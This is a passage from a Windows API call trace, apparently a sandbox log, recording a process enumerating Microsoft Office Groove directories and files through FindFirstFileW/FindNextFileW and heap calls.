lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199303.WMF", cAlternateFileName="")) returned 1 [0037.837] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199307.WMF", cAlternateFileName="")) returned 1 [0037.837] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x662a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199423.WMF", cAlternateFileName="")) returned 1 [0037.838] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199429.WMF", cAlternateFileName="")) returned 1 [0037.838] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199465.WMF", cAlternateFileName="")) returned 1 [0037.838] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199469.WMF", cAlternateFileName="")) returned 1 [0037.861] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199473.WMF", cAlternateFileName="")) returned 1 [0037.861] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199475.WMF", cAlternateFileName="")) returned 1 [0037.861] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199483.WMF", cAlternateFileName="")) returned 1 [0037.861] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dbde600, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6dbde600, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x302c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199609.WMF", cAlternateFileName="")) returned 1 [0037.861] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2004, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200151.WMF", cAlternateFileName="")) returned 1 [0037.862] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200163.WMF", cAlternateFileName="")) returned 1 [0037.862] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200183.WMF", cAlternateFileName="")) returned 1 [0037.862] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200189.WMF", cAlternateFileName="")) returned 1 [0037.862] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65cc000, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa65cc000, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x7a46, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200273.WMF", cAlternateFileName="")) returned 1 [0037.862] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9f04700, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9f04700, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x4c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200279.WMF", cAlternateFileName="")) returned 1 [0037.862] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb379af00, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb379af00, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0xa0b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200289.WMF", cAlternateFileName="")) returned 1 [0037.862] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec38100, ftCreationTime.dwHighDateTime=0x1be3e99, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec38100, ftLastWriteTime.dwHighDateTime=0x1be3e99, nFileSizeHigh=0x0, nFileSizeLow=0x4f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200377.WMF", cAlternateFileName="")) returned 1 [0037.863] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5398, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200383.WMF", cAlternateFileName="")) returned 1 [0037.863] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x366e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200467.WMF", cAlternateFileName="")) returned 1 [0037.863] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x273e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200521.WMF", cAlternateFileName="")) returned 1 [0037.863] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf36, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200611.WMF", cAlternateFileName="")) returned 1 [0037.863] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa50e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0202045.JPG", cAlternateFileName="")) returned 1 [0037.863] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60b62300, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60b62300, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0x6e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0211981.WMF", cAlternateFileName="")) returned 1 [0037.864] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212299.WMF", cAlternateFileName="")) returned 1 [0037.864] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x25cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212601.WMF", cAlternateFileName="")) returned 1 [0037.864] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x199a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212685.WMF", cAlternateFileName="")) returned 1 [0039.120] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x3fa1898, Size=0x80000) returned 0x4320020 [0039.327] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419f3f00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x419f3f00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x7a80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00152_.WMF", cAlternateFileName="")) returned 1 [0041.306] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0041.310] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ee1068 | out: hHeap=0x4b0000) returned 1 [0041.311] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1 [0041.315] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0041.327] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.331] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x84e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALARM.WAV", cAlternateFileName="")) returned 1 [0041.497] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0041.497] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef1070 | out: hHeap=0x4b0000) returned 1 [0041.553] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1 [0041.554] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0041.554] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.554] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAN.WAV", cAlternateFileName="")) returned 1 [0041.555] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0041.555] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef1070 | out: hHeap=0x4b0000) returned 1 [0041.555] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 0 [0041.555] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0041.555] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed1060 | out: hHeap=0x4b0000) returned 1 [0041.556] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolBMPs", cAlternateFileName="")) returned 1 [0041.556] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\*", lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0041.556] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.557] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7093c400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7093c400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImages.jpg", cAlternateFileName="CALEND~1.JPG")) returned 1 [0041.557] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0041.558] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed1060 | out: hHeap=0x4b0000) returned 1 [0041.558] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolData", cAlternateFileName="")) returned 1 [0041.559] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\*", lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0041.559] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.559] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 1 [0041.559] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, 